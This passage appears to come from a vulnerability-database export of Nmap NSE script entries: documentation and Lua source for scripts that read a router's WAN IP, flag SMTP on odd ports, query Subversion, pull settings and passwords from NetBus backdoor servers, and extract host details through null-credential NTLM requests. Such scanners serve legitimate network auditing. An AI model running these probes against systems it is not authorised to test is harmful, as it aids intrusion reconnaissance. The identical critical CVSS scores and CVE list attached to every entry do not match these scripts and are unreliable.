Mapping Protocol (NAT-PMP). The NAT-PMP protocol is supported by a broad range of routers including: \n\n * Apple AirPort Express \n * Apple AirPort Extreme \n * Apple Time Capsule \n * DD-WRT \n * OpenWrt v8.09 or higher, with MiniUPnP daemon \n * pfSense v2.0 \n * Tarifa (firmware) (Linksys WRT54G/GL/GS) \n * Tomato Firmware v1.24 or higher. (Linksys WRT54G/GL/GS and many more) \n * Peplink Balance\n\n### See also:\n\n * [ nat-pmp-mapport.nse ](<../scripts/nat-pmp-mapport.html>)\n\n## Example Usage \n \n \n nmap -sU -p 5351 --script=nat-pmp-info <target>\n\n## Script Output \n \n \n | nat-pmp-info:\n |_ WAN IP: 192.0.2.13\n\n## Requires \n\n * [natpmp](<../lib/natpmp.html>)\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2010-09-28T19:43:06", "type": "nmap", "title": "nat-pmp-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-08-03T22:05:18", "id": "NMAP:NAT-PMP-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/nat-pmp-info.html", "sourceData": "local natpmp = require \"natpmp\"\nlocal nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\n\ndescription = [[\nGets the routers WAN IP using the NAT Port Mapping Protocol (NAT-PMP).\nThe NAT-PMP protocol is supported by a broad range of routers including:\n* Apple AirPort Express\n* Apple AirPort Extreme\n* Apple Time Capsule\n* DD-WRT\n* OpenWrt v8.09 or higher, with MiniUPnP daemon\n* pfSense v2.0\n* Tarifa (firmware) (Linksys WRT54G/GL/GS)\n* Tomato Firmware v1.24 or higher. (Linksys WRT54G/GL/GS and many more)\n* Peplink Balance\n]]\n\n---\n--@usage\n-- nmap -sU -p 5351 --script=nat-pmp-info <target>\n-- @output\n-- | nat-pmp-info:\n-- |_ WAN IP: 192.0.2.13\n-- @xmloutput\n-- <elem key=\"WAN IP\">192.0.2.13</elem>\n-- @see nat-pmp-mapport.nse\n\nauthor = \"Patrik Karlsson\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"default\", \"discovery\", \"safe\"}\n\n\nportrule = shortport.port_or_service(5351, \"nat-pmp\", {\"udp\"} )\n\naction = function(host, port)\n local helper = natpmp.Helper:new(host, port)\n local status, response = helper:getWANIP()\n\n if ( status ) then\n nmap.set_port_state(host, port, \"open\")\n port.version.name = \"nat-pmp\"\n nmap.set_port_version(host, port)\n\n return {[\"WAN IP\"] = response.ip}\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:34:45", "description": "Checks if SMTP is running on a non-standard port. \n\nThis may indicate that crackers or script kiddies have set up a backdoor on the system to send spam or control the machine.\n\n## Example Usage \n \n \n nmap -sV --script=smtp-strangeport <target>\n\n## Script Output \n \n \n 22/tcp open smtp\n |_ smtp-strangeport: Mail server on unusual port: possible malware\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2008-11-06T02:52:59", "type": "nmap", "title": "smtp-strangeport NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2015-11-05T20:41:05", "id": "NMAP:SMTP-STRANGEPORT.NSE", "href": "https://nmap.org/nsedoc/scripts/smtp-strangeport.html", "sourceData": "description = [[\nChecks if SMTP is running on a non-standard port.\n\nThis may indicate that crackers or script kiddies have set up a backdoor on the\nsystem to send spam or control the machine.\n]]\n\n---\n-- @output\n-- 22/tcp open smtp\n-- |_ smtp-strangeport: Mail server on unusual port: possible malware\n\nauthor = \"Diman Todorov\"\n\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\n\ncategories = {\"malware\", \"safe\"}\n\nportrule = function(host, port)\n return port.service == \"smtp\" and\n port.number ~= 25 and port.number ~= 465 and port.number ~= 587\n and port.protocol == \"tcp\"\n and port.state == \"open\"\nend\n\naction = function()\n return \"Mail server on unusual port: possible malware\"\nend\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T21:42:46", "description": "Requests information from a Subversion repository.\n\n## Script Arguments \n\n#### http-svn-info.url \n\nThis is a URL relative to the scanned host eg. /default.html (default: /)\n\n#### slaxml.debug \n\nSee the documentation for the [slaxml](<../lib/slaxml.html#script-args>) library. \n\n#### http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent \n\nSee the documentation for the [http](<../lib/http.html#script-args>) library. \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap --script http-svn-info <target>\n \n\n## Script Output \n \n \n 443/tcp open https syn-ack\n | http-svn-info:\n | Path: .\n | URL: https://svn.nmap.org/\n | Relative URL: ^/\n | Repository Root: https://svn.nmap.org\n | Repository UUID: e0a8ed71-7df4-0310-8962-fdc924857419\n | Revision: 34938\n | Node Kind: directory\n | Last Changed Author: yang\n | Last Changed Rev: 34938\n |_ Last Changed Date: Sun, 19 Jul 2015 13:49:59 GMT--\n \n\n## Requires \n\n * [http](<../lib/http.html>)\n * [shortport](<../lib/shortport.html>)\n * [slaxml](<../lib/slaxml.html>)\n * [stdnse](<../lib/stdnse.html>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2015-07-25T09:55:37", "type": "nmap", "title": "http-svn-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2017-08-15T07:26:00", "id": "NMAP:HTTP-SVN-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/http-svn-info.html", "sourceData": "local http = require \"http\"\nlocal shortport = require \"shortport\"\nlocal slaxml = require \"slaxml\"\nlocal stdnse = require \"stdnse\"\n\ndescription = [[Requests information from a Subversion repository.\n]]\n\n---\n-- @usage nmap --script http-svn-info <target>\n--\n-- @args http-svn-info.url This is a URL relative to the scanned host eg. /default.html (default: /)\n--\n-- @output\n-- 443/tcp open https syn-ack\n-- | http-svn-info:\n-- | Path: .\n-- | URL: https://svn.nmap.org/\n-- | Relative URL: ^/\n-- | Repository Root: https://svn.nmap.org\n-- | Repository UUID: e0a8ed71-7df4-0310-8962-fdc924857419\n-- | Revision: 34938\n-- | Node Kind: directory\n-- | Last Changed Author: yang\n-- | Last Changed Rev: 34938\n-- |_ Last Changed Date: Sun, 19 Jul 2015 13:49:59 GMT--\n--\n-- @xmloutput\n-- <elem key=\"Path\">.</elem>\n-- <elem key=\"URL\">https://svn.nmap.org/</elem>\n-- <elem key=\"Relative URL\">^/</elem>\n-- <elem key=\"Repository Root\">https://svn.nmap.org</elem>\n-- <elem key=\"Repository UUID\">e0a8ed71-7df4-0310-8962-fdc924857419</elem>\n-- <elem key=\"Revision\">34938</elem>\n-- <elem key=\"Node Kind\">directory</elem>\n-- <elem key=\"Last Changed Author\">yang</elem>\n-- <elem key=\"Last Changed Rev\">34938</elem>\n-- <elem key=\"Last Changed Date\">Sun, 19 Jul 2015 13:49:59 GMT</elem>\n\n\nauthor = \"Gyanendra Mishra\"\n\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\n\ncategories = {\"default\", \"discovery\", \"safe\"}\n\n\nportrule = shortport.http\n\nlocal ELEMENTS = {\n [\"repository-uuid\"] = \"Repository UUID\",\n [\"version-name\"] = \"Last Changed Rev\",\n [\"creator-displayname\"] = \"Last Changed Author\",\n [\"getlastmodified\"] = \"Last Changed Date\",\n [\"baseline-relative-path\"] = \"Relative URL\",\n [\"href\"] = \"Repository Root\",\n [\"getcontentlength\"] = \"file\"\n}\n\nlocal output_order = {\n \"Last Changed Author\",\n \"Last Changed Rev\",\n \"Last Changed Date\",\n}\n\nlocal function get_text_callback(store, name)\n if ELEMENTS[name] == nil then return end\n return function(content) store[ELEMENTS[name]] = content end\nend\n\naction = function(host, port)\n\n local url = stdnse.get_script_args(SCRIPT_NAME .. \".url\") or \"/\"\n local output = {}\n local ordered_output = stdnse.output_table()\n\n local options = {\n header = {\n [\"Depth\"] = 0,\n },\n }\n\n local response = http.generic_request(host, port, \"PROPFIND\", url, options)\n if response and response.status == 207 then\n\n local parser = slaxml.parser:new()\n parser._call = {startElement = function(name)\n parser._call.text = get_text_callback(output, name) end,\n closeElement = function(name) parser._call.text = function() return nil end end\n }\n parser:parseSAX(response.body, {stripWhitespace=true})\n\n if next(output) then\n\n ordered_output[\"Path\"] = url:match(\"/([^/]*)$\"):len() > 0 and url:match(\"/([^/]*)$\") or url:match(\"/([^/]*)/$\") or \".\"\n if output[\"file\"] then\n ordered_output[\"Name\"] = url:match(\"/([^/]*)$\")\n end\n\n ordered_output[\"URL\"] = host.targetname and port.service .. \"://\" .. host.targetname .. url\n ordered_output[\"Relative URL\"] = output[\"Relative URL\"] and \"^/\" .. output[\"Relative URL\"] or \"^/\"\n output[\"Repository Root\"] = output[\"Repository Root\"]:gsub(\"%/%!svn.*\", \"\"):len() > 0 and output[\"Repository Root\"]:gsub(\"%/%!svn.*\", \"\") or \"/\"\n ordered_output[\"Repository Root\"] = port.service .. \"://\" .. host.targetname .. output[\"Repository Root\"]\n ordered_output[\"Repository UUID\"] = output[\"Repository UUID\"]\n if url ~= output[\"Repository Root\"] then\n local temp_output = {}\n response = http.generic_request(host, port, \"PROPFIND\", output[\"Repository Root\"], options)\n if response and response.status == 207 then\n parser._call.startElement = function(name) parser._call.text = get_text_callback(temp_output, name) end\n parser:parseSAX(response.body, {stripWhitespace=true})\n ordered_output[\"Revision\"] = temp_output[\"Last Changed Rev\"]\n end\n else\n ordered_output[\"Revision\"] = output[\"Last Changed Rev\"]\n end\n\n if not output[\"file\"] then\n ordered_output[\"Node Kind\"] = \"directory\"\n else\n ordered_output[\"Node Kind\"] = \"file\"\n end\n\n for _, value in ipairs(output_order) do\n ordered_output[value] = output[value]\n end\n\n return ordered_output\n end\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:40:22", "description": "Opens a connection to a NetBus server and extracts information about the host and the NetBus service itself. \n\nThe extracted host information includes a list of running applications, and the hosts sound volume settings. \n\nThe extracted service information includes its access control list (acl), server information, and setup. The acl is a list of IP addresses permitted to access the service. Server information contains details about the server installation path, restart persistence, user account that the server is running on, and the amount of connected NetBus clients. The setup information contains configuration details, such as the services TCP port number, traffic logging setting, password, an email address for receiving login notifications, an email address used for sending the notifications, and an smtp-server used for notification delivery.\n\n## Script Arguments \n\n#### netbus-info.password \n\nThe password used for authentication\n\n## Example Usage \n \n \n nmap -p 12345 --script netbus-info <target> --script-args netbus-info.password=<password>\n \n\n## Script Output \n \n \n 12345/tcp open netbus\n | netbus-info:\n | ACL\n | 127.0.0.1\n | APPLICATIONS\n | PuTTY Configuration\n | INFO\n | Program Path: Z:\\home\\joeuser\\Desktop\\Patch.exe\n | Restart persistent: Yes\n | Login ID: joeuser\n | Clients connected to this host: 1\n | SETUP\n | TCP-port: 12345\n | Log traffic: 1\n | Password: password123\n | Notify to: admin@example.com\n | Notify from: spoofed@example.org\n | SMTP-server: smtp.example.net\n | VOLUME\n | Wave: 0\n | Synth: 0\n |_ Cd: 0\n\n## Requires \n\n * [nmap](<../lib/nmap.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [string](<>)\n * [stringaux](<../lib/stringaux.html>)\n * [table](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2010-12-13T18:00:02", "type": "nmap", "title": "netbus-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2018-10-18T01:08:19", "id": "NMAP:NETBUS-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/netbus-info.html", "sourceData": "local nmap = require \"nmap\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal string = require \"string\"\nlocal stringaux = require \"stringaux\"\nlocal table = require \"table\"\n\ndescription = [[\nOpens a connection to a NetBus server and extracts information about\nthe host and the NetBus service itself.\n\nThe extracted host information includes a list of running\napplications, and the hosts sound volume settings.\n\nThe extracted service information includes its access control list\n(acl), server information, and setup. The acl is a list of IP\naddresses permitted to access the service. Server information\ncontains details about the server installation path, restart\npersistence, user account that the server is running on, and the\namount of connected NetBus clients. The setup information contains\nconfiguration details, such as the services TCP port number, traffic\nlogging setting, password, an email address for receiving login\nnotifications, an email address used for sending the notifications,\nand an smtp-server used for notification delivery.\n]]\n\n---\n-- @usage\n-- nmap -p 12345 --script netbus-info <target> --script-args netbus-info.password=<password>\n--\n-- @output\n-- 12345/tcp open netbus\n-- | netbus-info:\n-- | ACL\n-- | 127.0.0.1\n-- | APPLICATIONS\n-- | PuTTY Configuration\n-- | INFO\n-- | Program Path: Z:\\home\\joeuser\\Desktop\\Patch.exe\n-- | Restart persistent: Yes\n-- | Login ID: joeuser\n-- | Clients connected to this host: 1\n-- | SETUP\n-- | TCP-port: 12345\n-- | Log traffic: 1\n-- | Password: password123\n-- | Notify to: admin@example.com\n-- | Notify from: spoofed@example.org\n-- | SMTP-server: smtp.example.net\n-- | VOLUME\n-- | Wave: 0\n-- | Synth: 0\n-- |_ Cd: 0\n-- @xmloutput\n-- <table key=\"ACL\">\n-- <elem>127.0.0.1</elem>\n-- </table>\n-- <table key=\"APPLICATIONS\">\n-- <elem>PuTTY Configuration</elem>\n-- </table>\n-- <table key=\"INFO\">\n-- <elem key=\"Program Path\">Z:\\home\\joeuser\\Desktop\\Patch.exe</elem>\n-- <elem key=\"Restart persistent\">Yes</elem>\n-- <elem key=\"Login ID\">joeuser</elem>\n-- <elem key=\"Clients connected to this host\">1</elem>\n-- </table>\n-- <table key=\"SETUP\">\n-- <elem key=\"TCP-port\">12345</elem>\n-- <elem key=\"Log traffic\">1</elem>\n-- <elem key=\"Password\">password123</elem>\n-- <elem key=\"Notify to\">admin@example.com</elem>\n-- <elem key=\"Notify from\">spoofed@example.org</elem>\n-- <elem key=\"SMTP-server\">smtp.example.net</elem>\n-- </table>\n-- <table key=\"VOLUME\">\n-- <elem key=\"Wave\">0</elem>\n-- <elem key=\"Synth\">0</elem>\n-- <elem key=\"Cd\">0</elem>\n-- </table>\n--\n-- @args netbus-info.password The password used for authentication\n\nauthor = \"Toni Ruottu\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"default\", \"discovery\", \"safe\"}\n\n\ndependencies = {\"netbus-version\", \"netbus-brute\"}\n\nportrule = shortport.port_or_service (12345, \"netbus\", {\"tcp\"})\n\nlocal function format_acl(acl)\n if acl == nil then\n return nil\n end\n local payload = string.sub(acl, 9) --skip header\n local fields = stringaux.strsplit(\"|\", payload)\n table.remove(fields, (# fields))\n return fields\nend\n\nlocal function format_apps(apps)\n if apps == nil then\n return nil\n end\n local payload = string.sub(apps, 10) --skip header\n local fields = stringaux.strsplit(\"|\", payload)\n table.remove(fields, (# fields))\n return fields\nend\n\nlocal function format_info(info)\n if info == nil then\n return nil\n end\n local payload = string.sub(info, 6) --skip header\n local fields = stringaux.strsplit(\"|\", payload)\n return fields\nend\n\nlocal function format_setup(setup)\n if setup == nil then\n return nil\n end\n local fields = stringaux.strsplit(\";\", setup)\n if # fields < 7 then\n return nil\n end\n local formatted = stdnse.output_table()\n formatted[\"TCP-port\"] = fields[2]\n formatted[\"Log traffic\"] = fields[3]\n formatted[\"Password\"] = fields[4]\n formatted[\"Notify to\"] = fields[5]\n formatted[\"Notify from\"] = fields[6]\n formatted[\"SMTP-server\"] = fields[7]\n return formatted\nend\n\nlocal function format_volume(volume)\n if volume == nil then\n return nil\n end\n local fields = stringaux.strsplit(\";\", volume)\n if # fields < 4 then\n return nil\n end\n local formatted = stdnse.output_table()\n formatted[\"Wave\"] = fields[2]\n formatted[\"Synth\"] = fields[3]\n formatted[\"Cd\"] = fields[4]\n return formatted\nend\n\naction = function( host, port )\n local password = nmap.registry.args[SCRIPT_NAME .. \".password\"]\n if not password and nmap.registry.netbuspasswords then\n local key = string.format(\"%s:%d\", host.ip, port.number)\n password = nmap.registry.netbuspasswords[key]\n end\n if not password then\n password = \"\"\n end\n local socket = nmap.new_socket()\n socket:set_timeout(5000)\n local status, err = socket:connect(host, port)\n local buffer, err = stdnse.make_buffer(socket, \"\\r\")\n local _ = buffer()\n if not (_ and _:match(\"^NetBus\")) then\n stdnse.debug1(\"Not NetBus\")\n return nil\n end\n socket:send(string.format(\"Password;1;%s\\r\", password))\n local gotin = buffer()\n if gotin == \"Access;0\" then\n return\n end\n\n socket:send(\"GetInfo\\r\")\n local info = buffer()\n socket:send(\"GetSetup\\r\")\n local setup = buffer()\n socket:send(\"GetACL\\r\")\n local acl = buffer()\n socket:send(\"GetApps\\r\")\n local apps = buffer()\n socket:send(\"GetVolume\\r\")\n local volume = buffer()\n socket:close()\n\n local response = stdnse.output_table()\n response[\"ACL\"] = format_acl(acl)\n response[\"APPLICATIONS\"] = format_apps(apps)\n response[\"INFO\"] = format_info(info)\n response[\"SETUP\"] = format_setup(setup)\n response[\"VOLUME\"] = format_volume(volume)\n\n return response\nend\n\n\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:39:54", "description": "This script enumerates information from remote NNTP services with NTLM authentication enabled. \n\nSending an MS-NNTP NTLM authentication request with null credentials will cause the remote service to respond with a NTLMSSP message disclosing information to include NetBIOS, DNS, and OS build version.\n\n## Script Arguments \n\n#### smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername \n\nSee the documentation for the [smbauth](<../lib/smbauth.html#script-args>) library. \n\n## Example Usage \n \n \n nmap -p 119,433,563 --script nntp-ntlm-info <target>\n \n\n## Script Output \n \n \n 119/tcp open nntp\n | nntp-ntlm-info:\n | Target_Name: ACTIVENNTP\n | NetBIOS_Domain_Name: ACTIVENNTP\n | NetBIOS_Computer_Name: NNTP-TEST2\n | DNS_Domain_Name: somedomain.com\n | DNS_Computer_Name: nntp-test2.somedomain.com\n | DNS_Tree_Name: somedomain.com\n |_ Product_Version: 6.1.7601\n \n\n## Requires \n\n * [comm](<../lib/comm.html>)\n * [os](<>)\n * [datetime](<../lib/datetime.html>)\n * [shortport](<../lib/shortport.html>)\n * [stdnse](<../lib/stdnse.html>)\n * [base64](<../lib/base64.html>)\n * [smbauth](<../lib/smbauth.html>)\n * [string](<>)\n\n* * *\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2016-01-08T16:17:12", "type": "nmap", "title": "nntp-ntlm-info NSE Script", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-1182", "CVE-2017-7494"], "modified": "2016-07-21T17:05:25", "id": "NMAP:NNTP-NTLM-INFO.NSE", "href": "https://nmap.org/nsedoc/scripts/nntp-ntlm-info.html", "sourceData": "local comm = require \"comm\"\nlocal os = require \"os\"\nlocal datetime = require \"datetime\"\nlocal shortport = require \"shortport\"\nlocal stdnse = require \"stdnse\"\nlocal base64 = require \"base64\"\nlocal smbauth = require \"smbauth\"\nlocal string = require \"string\"\n\n\ndescription = [[\nThis script enumerates information from remote NNTP services with NTLM\nauthentication enabled.\n\nSending an MS-NNTP NTLM authentication request with null credentials will\ncause the remote service to respond with a NTLMSSP message disclosing\ninformation to include NetBIOS, DNS, and OS build version.\n]]\n\n\n---\n-- @usage\n-- nmap -p 119,433,563 --script nntp-ntlm-info <target>\n--\n-- @output\n-- 119/tcp open nntp\n-- | nntp-ntlm-info:\n-- | Target_Name: ACTIVENNTP\n-- | NetBIOS_Domain_Name: ACTIVENNTP\n-- | NetBIOS_Computer_Name: NNTP-TEST2\n-- | DNS_Domain_Name: somedomain.com\n-- | DNS_Computer_Name: nntp-test2.somedomain.com\n-- | DNS_Tree_Name: somedomain.com\n-- |_ Product_Version: 6.1.7601\n--\n--@xmloutput\n-- <elem key=\"Target_Name\">ACTIVENNTP</elem>\n-- <elem key=\"NetBIOS_Domain_Name\">ACTIVENNTP</elem>\n-- <elem key=\"NetBIOS_Computer_Name\">NNTP-TEST2</elem>\n-- <elem key=\"DNS_Domain_Name\">somedomain.com</elem>\n-- <elem key=\"DNS_Computer_Name\">nntp-test2.somedomain.com</elem>\n-- <elem key=\"DNS_Tree_Name\">somedomain.com</elem>\n-- <elem key=\"Product_Version\">6.1.7601</elem>\n\n\nauthor = \"Justin Cacak\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"default\", \"discovery\", \"safe\"}\n\n\nlocal ntlm_auth_blob = base64.enc( select(2,\n smbauth.get_security_blob(nil, nil, nil, nil, nil, nil, nil,\n 0x00000001 + -- Negotiate Unicode\n 0x00000002 + -- Negotiate OEM strings\n 0x00000004 + -- Request Target\n 0x00000200 + -- Negotiate NTLM\n 0x00008000 + -- Negotiate Always Sign\n 0x00080000 + -- Negotiate NTLM2 Key\n 0x20000000 + -- Negotiate 128\n 0x80000000 -- Negotiate 56\n ))\n )\n\n\nportrule = shortport.port_or_service({ 119, 433, 563 }, { \"nntp\", \"snews\" })\n\naction = function(host, port)\n\n local output = stdnse.output_table()\n\n -- Negotiate connection protocol\n local socket, line, bopt, first_line = comm.tryssl(host, port, \"\" , {timeout=10000, recv_before=true})\n if not socket then\n return\n end\n\n -- Do not attempt to upgrade to a TLS connection if already over TLS\n if not shortport.ssl(host,port) then\n -- Attempt to upgrade to a TLS connection if supported (may not be advertised)\n -- Various implementations *require* this before accepting authentication requests\n socket:send(\"STARTTLS\\r\\n\")\n local status, response = socket:receive()\n if not status then\n return\n end\n -- Upgrade the connection if STARTTLS permitted, else continue without\n if string.match(response, \"382 .*\") then\n status, response = socket:reconnect_ssl()\n if not status then\n return\n end\n end\n end\n\n socket:send(\"AUTHINFO GENERIC NTLM\\r\\n\")\n local status, response = socket:receive()\n -- If server supports NTLM authentication then continue\n if string.match(response, \"381 .*\") then\n socket:send(\"AUTHINFO GENERIC \" .. ntlm_auth_blob ..\"\\r\\n\")\n status, response = socket:receive()\n if not response then\n return\n end\n end\n\n local recvtime = os.time()\n socket:close()\n\n -- Continue only if a 381 response is returned\n local response_decoded = string.match(response, \"381 (.*)\")\n if not response_decoded then\n return nil\n end\n\n local response_decoded = base64.dec(response_decoded)\n\n -- Continue only if NTLMSSP response is returned\n if not string.match(response_decoded, \"^NTLMSSP\") then\n return nil\n end\n\n -- Leverage smbauth.get_host_info_from_security_blob() for decoding\n local ntlm_decoded = smbauth.get_host_info_from_security_blob(response_decoded)\n\n if ntlm_decoded.timestamp then\n -- 64-bit number of 100ns clicks since 1/1/1601\n local unixstamp = ntlm_decoded.timestamp // 10000000 - 11644473600\n datetime.record_skew(host, unixstamp, recvtime)\n end\n\n -- Target Name will always be returned under any implementation\n output.Target_Name = ntlm_decoded.target_realm\n\n -- Display information returned & ignore responses with null values\n if ntlm_decoded.netbios_domain_name and #ntlm_decoded.netbios_domain_name > 0 then\n output.NetBIOS_Domain_Name = ntlm_decoded.netbios_domain_name\n end\n\n if ntlm_decoded.netbios_computer_name and #ntlm_decoded.netbios_computer_name > 0 then\n output.NetBIOS_Computer_Name = ntlm_decoded.netbios_computer_name\n end\n\n if ntlm_decoded.dns_domain_name and #ntlm_decoded.dns_domain_name > 0 then\n output.DNS_Domain_Name = ntlm_decoded.dns_domain_name\n end\n\n if ntlm_decoded.fqdn and #ntlm_decoded.fqdn > 0 then\n output.DNS_Computer_Name = ntlm_decoded.fqdn\n end\n\n if ntlm_decoded.dns_forest_name and #ntlm_decoded.dns_forest_name > 0 then\n output.DNS_Tree_Name = ntlm_decoded.dns_forest_name\n end\n\n if ntlm_decoded.os_major_version then\n output.Product_Version = string.format(\"%d.%d.%d\",\n ntlm_decoded.os_major_version, ntlm_decoded.os_minor_version, ntlm_decoded.os_build)\n end\n\n return output\n\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-15T09:35:38", "description": "Obtains a list of groups from the remote Windows system, as well as a list of the group's users. This works similarly to `enum.exe` with the `/G` switch. \n\nThe following MSRPC functions in SAMR are used to find a list of groups and the RIDs of their users. Keep in mind that MSRPC refers to groups as \"Aliases\". \n\n * `Bind`: bind to the SAMR service. \n * `Connect4`: get a connect_handle. \n * `EnumDomains`: get a list of the domains. \n * `LookupDomain`: get the RID of the domains. \n * `OpenDomain`: get a handle for each domain. \n * `EnumDomainAliases`: get the list of groups in the domain. \n * `OpenAlias`: get a handle to each group. \n * `GetMembersInAlias`: get the RIDs of the members in the groups. \n * `Close`: close the alias handle. \n * `Close`: close the domain handle. \n * `Close`: close the connect handle. \n\nOnce the RIDs have been termined, the \n\n * `Bind`: bind to the LSA service. \n * `OpenPolicy2`: get a policy handle. \n * `LookupSids2`: convert SIDs to 